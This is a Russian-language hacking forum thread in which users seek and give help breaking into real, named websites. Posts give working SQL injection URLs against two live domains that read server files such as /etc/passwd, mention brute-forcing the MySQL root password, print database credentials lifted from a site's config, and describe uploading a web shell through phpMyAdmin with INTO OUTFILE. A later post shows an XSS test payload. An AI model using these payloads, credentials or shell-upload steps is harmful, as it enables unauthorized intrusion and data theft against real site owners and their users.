Помогите пожалуйста найти админку сайта http://www.mediaport.info а то я искал искал и нашел только директорию /admin/

и то выдает ошибку ну раз нашел скуль (а она там есть+ раскрытие пути) может другие варианты рассмотришь?

Какие например можеш что то посоветовать? А то я только начинающий....

короче глянул на твой сайтик...
http://www.mediaport.info/production.php?theme=-1'%20union%20select%201,2,3,4,5,LOAD_FILE('/'),7,8,9%20from%20mysql.user%20limit%200,1/*
тебя наверное порадует...

PS Если б не был таким ленивым, то сам бы покоырялся и тебе ничего не сказал :d
//пасс мускулистого рута брутится

__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ

Пасиб большое мне ещё учиться и учиться сам бы до такого не дошел бы))

http://www.bis-el.kiev.ua/index.php?parent_id=0&part_id=1&article_id=-99999+union+select+1,2,3,4,load_file(0x2F6574632F7 06173737764),6,7,8,9,10,11+from+users/*

version():5.1.22-rc-log

- можно ли както здесь залить шелл?
- имея доступ на чтение файлов как можно узнать полный путь до www?
- при использованиии конструкции into outfile можно ли кодировать путь к файлу в хекс?

1)Там есть phpmyadmin через него можно залить шелл
читаем конфиг:
оттуда получаем логин/пароль к БД
var $User = "clever";
var $Password = "whitebear";
Идем в phpmyadmin
http://www.bis-el.kiev.ua/phpmyadm/
и льем шелл через into outfile
Путь: /home/king/public_html/
2)Путь там можно подобрать, т.к там фряха, а в ней через load_file можно читать содержимое дир
3)Путь к файлу в hex кодировать нельзя

__________________
Не занимаюсь коммерцией в любых ее проявлениях.

сильно не пинайте если что не так) просто я только пробую искать xss
при поисковом запросе фразы "><script>alert()</script> на одном сайте имеем следующую ошибку:
на белом фоне красуется надпись
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
... почему спросил, просто много прошарил сайтов и только на этом впервые такая трабла.)

Это IIS сервер скорее всего, он ругается на все неугодные ему символы